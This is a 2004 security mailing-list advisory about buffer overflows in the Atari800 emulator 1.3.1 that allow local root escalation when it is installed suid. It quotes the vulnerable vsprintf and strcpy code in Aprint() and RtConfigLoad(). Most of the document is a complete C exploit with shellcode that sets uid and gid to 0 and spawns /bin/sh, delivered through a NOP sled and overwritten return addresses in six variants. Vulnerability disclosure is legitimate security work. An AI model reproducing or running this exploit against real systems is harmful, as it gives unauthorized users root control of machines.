[UNIX] Atari800 Local Privileges Escalation
From: SecuriTeam (support_at_securiteam.com)
Date: 11/25/04
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To: list@securiteam.com Date: 25 Nov 2004 14:35:02 +0200
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Atari800 Local Privileges Escalation
------------------------------------------------------------------------
SUMMARY
<http://atari800.sourceforge.net/> Atari800 - "Atari800 is an Atari 800,
800XL, 130XE and 5200 emulator for Unix, Amiga, MS-DOS, Atari TT/Falcon,
SDL and WinCE". The Atari800/XL/XE/5200 emulator allows local attacker to
execute shellcode with privileges suid root, whenever the Atari800 package
is installed as suid.
DETAILS
Vulnerable Systems:
* Atari800 version 1.3.1
Immune Systems:
* Atari800 version 1.3.3
* Atari800 version 1.3.2
Details:
It is possible execute an arbitrary shellcode by function exploiting the
Aprint() function, which is badly called by the function
Atari800_Initialise().
Local users, able to run atari800 (Some default installation have set the
Atari800 with suid root privileges) are able to execute this shellcode
with root privileges. The security vulnerability lies in
Atari800_Initialise() function, which do bad call of the Aprint()
function.
"src/atari.c"
int Atari800_Initialise(int *argc, char *argv[])
{
int error = FALSE;
...
...
...
...
/*
* Any parameters left on the command line must be disk images.
*/
for (i = 1; i < *argc; i++) {
if (!SIO_Mount(diskno++, argv[i], FALSE)) {
![1]! Aprint("Disk File %s not found", argv[i]);
error = TRUE;
}
}
if (error) {
![2]! Aprint("Usage: %s [options] [diskfile1...diskfile8]", argv[0]);
Aprint("\t-help Extended Help");
Atari800_Exit(FALSE);
return FALSE;
}
...
...
}
The Aprint() function was written by program's authors, but it still
contains vulnerabilities:
"src/log.c" void Aprint(char *format, ... )
{
va_list args;
char buffer[256];
#ifdef BUFFERED_LOG
int buflen;
#endif
va_start(args, format);
vsprintf(buffer, format, args);
va_end(args);
#ifdef BUFFERED_LOG
strcat(buffer, "\n");
buflen = strlen(buffer);
if ((strlen(memory_log) + strlen(buffer) + 1) > MAX_LOG_SIZE)
*memory_log = 0;
strcat(memory_log, buffer);
#else
printf("%s\n", buffer);
#endif
}
We can control argument argv[0] which is given for function Aprint(),
which do call for vsprintf() function and in the and can do overflow. When
we create symlink to real path to atari800 argv[0] will be changed.
Exploiting this bug can gave root privileges. This bug exist in older
Atari800 (i read source with version 1.3.0), in the lasted version there
isn't overflow in Aprint() function. It was rewrited, Atari800 has other
bugs who exist when program read config file. Bugs Exists in function
RtConfigLoad()
"src/rt-config.c" int RtConfigLoad(const char *alternate_config_filename)
{
FILE *fp;
const char *fname = rtconfig_filename;
int status = TRUE;
char string[256];
char *ptr;
...
...
while (fgets(string, sizeof(string), fp)) {
RemoveLF(string);
ptr = strchr(string, '=');
if (ptr) {
*ptr++ = '\0';
if (strcmp(string, "OS/A_ROM") == 0)
![3]! strcpy(atari_osa_filename, ptr);
else if (strcmp(string, "OS/B_ROM") == 0)
![4]! strcpy(atari_osb_filename, ptr);
else if (strcmp(string, "XL/XE_ROM") == 0)
![5]! strcpy(atari_xlxe_filename, ptr);
else if (strcmp(string, "BASIC_ROM") == 0)
![6]! strcpy(atari_basic_filename, ptr);
else if (strcmp(string, "5200_ROM") == 0)
![7]! strcpy(atari_5200_filename, ptr);
else if (strcmp(string, "DISK_DIR") == 0) {
if (disk_directories == MAX_DIRECTORIES)
printf("All disk directory slots
used!\n");
else
![8]! strcpy(atari_disk_dirs[disk_directories++], ptr);
}
else if (strcmp(string, "ROM_DIR") == 0)
![9]! strcpy(atari_rom_dir, ptr);
else if (strcmp(string, "H1_DIR") == 0)
![10]! strcpy(atari_h1_dir, ptr);
else if (strcmp(string, "H2_DIR") == 0)
![11]! strcpy(atari_h2_dir, ptr);
else if (strcmp(string, "H3_DIR") == 0)
![12]! strcpy(atari_h3_dir, ptr);
else if (strcmp(string, "H4_DIR") == 0)
![13]! strcpy(atari_h4_dir, ptr);
...
else if (strcmp(string, "EXE_DIR") == 0)
![14]! strcpy(atari_exe_dir, ptr);
else if (strcmp(string, "STATE_DIR") == 0)
![15]! strcpy(atari_state_dir, ptr);
else if (strcmp(string, "PRINT_COMMAND") == 0)
![16]! strcpy(print_command, ptr);
...
...
}
Exploit:
/*
* Exploit for atari800 by pi3 (pi3ki31ny)
*
* pi3@pi3:~$ ./p
*
* ...::: -=[ exploit for Atari800 by pi3 (pi3ki31ny) ]=- :::...
*
* Ussage:
* [+] ./p [options]
*
* -? <this help screen>
* -v choose a bug:
* 1 - first bug (in all versions Atari800)
* 2 - second bug (in older Atari800 - modiy argv[0])
* 3 - third bug (in config file - OS/A_ROM)
* 4 - fourth bug (in config file - OS/B_ROM)
* 5 - fifth bug (in config file - XL/XE_ROM)
* 6 - sixth bug (in config file - BASIC_ROM)
* -o <offset>
* -p PATH
*
* pi3@pi3:~$
*
* Atari800 have suid bit in default instalation.
* Best regards pi3 (pi3ki31ny).
*
* "Kazdemu trafi sie gowno...!"
*
* Greetz: [greetz on my web] && other my friends (you know who you are)
*
* ...::: -=[ www.pi3.int.pl ]=- :::...
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <getopt.h>
#include <assert.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#define PATH "/usr/local/bin/atari800"
#define DIRS 256
#define CONFIG ".atari800.cfg"
/* ...::: -=[ www.pi3.int.pl ]=- :::... */
char shellcode[] = "\x31\xdb\x31\xc0\x31\xd2\xb2\x2d\x6a\x0a\x68\x3a"
"\x2e\x2e\x2e\x68\x2d\x20\x3a\x3a\x68\x6c\x20\x5d"
"\x3d\x68\x6e\x74\x2e\x70\x68\x69\x33\x2e\x69\x68"
"\x77\x77\x2e\x70\x68\x3d\x5b\x20\x77\x68\x3a\x3a"
"\x20\x2d\x68\x2e\x2e\x2e\x3a\x89\xe1\xb0\x04\xcd"
"\x80"
/* setuid(0) */
"\x31\xdb\x89\xd8\xb0\x17\xcd\x80"
/* setgid(0) */
"\x31\xdb\x89\xd8\xb0\x2e\xcd\x80"
/* exec /bin/sh */
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd"
"\x80"
/* exit(0) */
"\x31\xdb\x89\xd8\xb0\x01\xcd\x80";
long ret_ad(char *a1, char *a2) {
// return (0xbffffffa-strlen(a1)-strlen(a2));
return 0xbfffee01;
}
int ussage(char *arg) {
printf("\n\t...::: -=[ exploit for Atari800 by pi3 (pi3ki31ny) ]=-
:::...\n");
printf("\n\tUssage:\n\t[+] %s [options]\n
-? <this help screen>
-v choose a bug:
1 - first bug (in all versions Atari800)
2 - second bug (in older Atari800 - modiy argv[0])
3 - third bug (in config file - OS/A_ROM)
4 - fourth bug (in config file - OS/B_ROM)
5 - fifth bug (in config file - XL/XE_ROM)
6 - sixth bug (in config file - BASIC_ROM)
-o <offset>
-p PATH\n\n",arg);
exit(-1);
}
int main(int argc, char *argv[]) {
long ret,*buf_addr;
char envp[8196],*path=PATH;
static char *sh[0x02];
char buf[DIRS],link[500],conf[5000];
int i,opt,op2=0,offset=0;
FILE *fp;
while((opt = getopt(argc,argv,"p:o:v:?")) != -1) {
switch(opt) {
case 'o':
offset=atoi(optarg);
break;
case 'p':
path=optarg;
break;
case 'v':
op2=atoi(optarg);
break;
case '?':
default:
ussage(argv[0]);
break;
}
}
if (op2==0)
ussage(argv[0]);
if ( (fp=fopen(path,"r"))==NULL) {
printf("\n*\tI can\'t open path to victim! - %s\t*\n\n",path);
ussage(argv[0]);
} fclose(fp);
if ( (fp=fopen(CONFIG,"r"))==NULL) {
if ( (fp=fopen(CONFIG,"w"))==NULL) {
printf("I can\'t create config file!\n");
exit(-1);
}
printf("\nCreating config file...\n\n\n");
fprintf(fp,"Atari 800 Emulator, Version 1.3.0\n");
fprintf(fp,"OS/A_ROM=atariosa.rom\n");
fprintf(fp,"OS/B_ROM=atariosb.rom\n");
fprintf(fp,"XL/XE_ROM=atarixl.rom\n");
fprintf(fp,"BASIC_ROM=ataribas.rom\n");
fprintf(fp,"5200_ROM=\n");
fprintf(fp,"DISK_DIR=.\n");
fprintf(fp,"ROM_DIR=.\n");
fprintf(fp,"H1_DIR=\n");
fprintf(fp,"H2_DIR=\n");
fprintf(fp,"H3_DIR=\n");
fprintf(fp,"H4_DIR=\n");
fprintf(fp,"HD_READ_ONLY=1\n");
fprintf(fp,"EXE_DIR=\n");
fprintf(fp,"STATE_DIR=\n");
fprintf(fp,"PRINT_COMMAND=lpr %s\n");
fprintf(fp,"SCREEN_REFRESH_RATIO=1\n");
fprintf(fp,"MACHINE_TYPE=Atari XL/XE\n");
fprintf(fp,"RAM_SIZE=64\n");
fprintf(fp,"DEFAULT_TV_MODE=PAL\n");
fprintf(fp,"DISABLE_BASIC=1\n");
fprintf(fp,"ENABLE_SIO_PATCH=1\n");
fprintf(fp,"ENABLE_H_PATCH=1\n");
fprintf(fp,"ENABLE_P_PATCH=1\n");
fprintf(fp,"ENABLE_NEW_POKEY=1\n");
fprintf(fp,"STEREO_POKEY=0\n");
} fclose(fp);
if (op2==1) {
printf("\n\t...::: -=[ exploit for Atari800 by pi3 (pi3ki31ny) ]=-
:::...\n");
printf("\n\t[+] Bulding buffors!\n");
ret=ret_ad(shellcode,path);
ret+=offset;
printf("\t[+] Using adres 0x%x\n",ret);
printf("\t[+] Using first bug in Atari800\n");
memset(envp,0x90,sizeof(envp));
for (i=0; i<strlen(shellcode); i++)
envp[8196-strlen(shellcode)+i] = shellcode[i];
sh[0x00]=envp;
sh[0x01]=NULL;
strcpy(link,"AA");
buf_addr=(long*)&link[2];
for(i=0;i<500;i+=4)
*(buf_addr)++ = ret;
link[499]='\0';
printf("\nExecuting the vuln program - %s\n\n",PATH);
execle(PATH,PATH,link,0,sh);
printf("Kazdemu trafi sie gowno...!\n");
return 0;
} else if (op2==2) {
system("rm -rf `perl -e 'print \"\\x41\"x250'`; rm -f 1");
printf("\n\t...::: -=[ exploit for Atari800 by pi3 (pi3ki31ny) ]=-
:::...\n");
printf("\n\t[+] Bulding buffors!\n");
ret=ret_ad(shellcode,path);
ret+=offset;
printf("\t[+] Using adres 0x%x\n",ret);
printf("\t[+] Using second bug in Atari800\n");
memset(envp,0x90,sizeof(envp));
for (i=0; i<strlen(shellcode); i++)
envp[8196-strlen(shellcode)+i] = shellcode[i];
sh[0x00]=envp;
sh[0x01]=NULL;
memset(buf,0x41,(size_t)250);
strcpy(link,"./");
memset(&link[2],0x41,(size_t)252);
assert(mkdir(buf, 0755) != -1);
assert(chdir(buf) != -1);
buf_addr=(long*)buf;
for (i=0; i<80; i+=4)
*(buf_addr)++ = ret;
buf[80]='\0';
// snprintf(link+252,500,"/`perl -e \'print
\"\\x01\\xee\\xff\\xbf\"x20\'` pi3");
snprintf(link+252,500,"/%s",buf);
assert(symlink(path, buf) != -1);
assert(chdir("../") != -1);
printf("\nExecuting the vuln program - %s\n\n",link);
// system(link);
execle(link,link,"pi3",0,sh);
printf("Kazdemu trafi sie gowno...!\n");
return 0;
} else if (op2==3) {
printf("\n\t...::: -=[ exploit for Atari800 by pi3 (pi3ki31ny) ]=-
:::...\n");
printf("\n\t[+] Bulding buffors!\n");
ret=ret_ad(shellcode,path);
ret+=offset;
printf("\t[+] Using adres 0x%x\n",ret);
printf("\t[+] Using third bug in Atari800\n");
memset(envp,0x90,sizeof(envp));
for (i=0; i<strlen(shellcode); i++)
envp[8196-strlen(shellcode)+i] = shellcode[i];
sh[0x00]=envp;
sh[0x01]=NULL;
strcpy(conf,"AA");
buf_addr=(long*)&conf[2];
for(i=0;i<5000;i+=4)
*(buf_addr)++ = ret;
conf[4999]='\0';
system("rm -rf .pi3.conf");
if ( (fp=fopen(".pi3.conf","w")) == NULL) {
printf("I can\'t create config file!\nExiting...\n");
exit(-1);
}
fprintf(fp,"OS/A_ROM=%s\n",conf);
printf("\nExecuting the vuln program - %s\n\n",PATH);
execle(PATH,PATH,"-config",".pi3.conf",0,sh);
printf("Kazdemu trafi sie gowno...!\n");
return 0;
} else if (op2==4) {
printf("\n\t...::: -=[ exploit for Atari800 by pi3 (pi3ki31ny) ]=-
:::...\n");
printf("\n\t[+] Bulding buffors!\n");
ret=ret_ad(shellcode,path);
ret+=offset;
printf("\t[+] Using adres 0x%x\n",ret);
printf("\t[+] Using fourth bug in Atari800\n");
memset(envp,0x90,sizeof(envp));
for (i=0; i<strlen(shellcode); i++)
envp[8196-strlen(shellcode)+i] = shellcode[i];
sh[0x00]=envp;
sh[0x01]=NULL;
strcpy(conf,"AA");
buf_addr=(long*)&conf[2];
for(i=0;i<5000;i+=4)
*(buf_addr)++ = ret;
conf[4999]='\0';
system("rm -rf .pi3.conf");
if ( (fp=fopen(".pi3.conf","w")) == NULL) {
printf("I can\'t create config file!\nExiting...\n");
exit(-1);
}
fprintf(fp,"OS/B_ROM=%s\n",conf);
printf("\nExecuting the vuln program - %s\n\n",PATH);
execle(PATH,PATH,"-config",".pi3.conf",0,sh);
printf("Kazdemu trafi sie gowno...!\n");
return 0;
} else if (op2==5) {
printf("\n\t...::: -=[ exploit for Atari800 by pi3 (pi3ki31ny) ]=-
:::...\n");
printf("\n\t[+] Bulding buffors!\n");
ret=ret_ad(shellcode,path);
ret+=offset;
printf("\t[+] Using adres 0x%x\n",ret);
printf("\t[+] Using fifth bug in Atari800\n");
memset(envp,0x90,sizeof(envp));
for (i=0; i<strlen(shellcode); i++)
envp[8196-strlen(shellcode)+i] = shellcode[i];
sh[0x00]=envp;
sh[0x01]=NULL;
strcpy(conf,"A");
buf_addr=(long*)&conf[1];
for(i=0;i<5000;i+=4)
*(buf_addr)++ = ret;
conf[4999]='\0';
system("rm -rf .pi3.conf");
if ( (fp=fopen(".pi3.conf","w")) == NULL) {
printf("I can\'t create config file!\nExiting...\n");
exit(-1);
}
fprintf(fp,"XL/XE_ROM=%s\n",conf);
printf("\nExecuting the vuln program - %s\n\n",PATH);
execle(PATH,PATH,"-config",".pi3.conf",0,sh);
printf("Kazdemu trafi sie gowno...!\n");
return 0;
} else if (op2==6) {
printf("\n\t...::: -=[ exploit for Atari800 by pi3 (pi3ki31ny) ]=-
:::...\n");
printf("\n\t[+] Bulding buffors!\n");
ret=ret_ad(shellcode,path);
ret+=offset;
printf("\t[+] Using adres 0x%x\n",ret);
printf("\t[+] Using sixth bug in Atari800\n");
memset(envp,0x90,sizeof(envp));
for (i=0; i<strlen(shellcode); i++)
envp[8196-strlen(shellcode)+i] = shellcode[i];
sh[0x00]=envp;
sh[0x01]=NULL;
strcpy(conf,"A");
buf_addr=(long*)&conf[1];
for(i=0;i<5000;i+=4)
*(buf_addr)++ = ret;
conf[4999]='\0';
system("rm -rf .pi3.conf");
if ( (fp=fopen(".pi3.conf","w")) == NULL) {
printf("I can\'t create config file!\nExiting...\n");
exit(-1);
}
fprintf(fp,"BASIC_ROM=%s\n",conf);
printf("\nExecuting the vuln program - %s\n\n",PATH);
execle(PATH,PATH,"-config",".pi3.conf",0,sh);
printf("Kazdemu trafi sie gowno...!\n");
return 0;
}
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:pi3ki31ny@wp.pl> Adam
Zabrocki.
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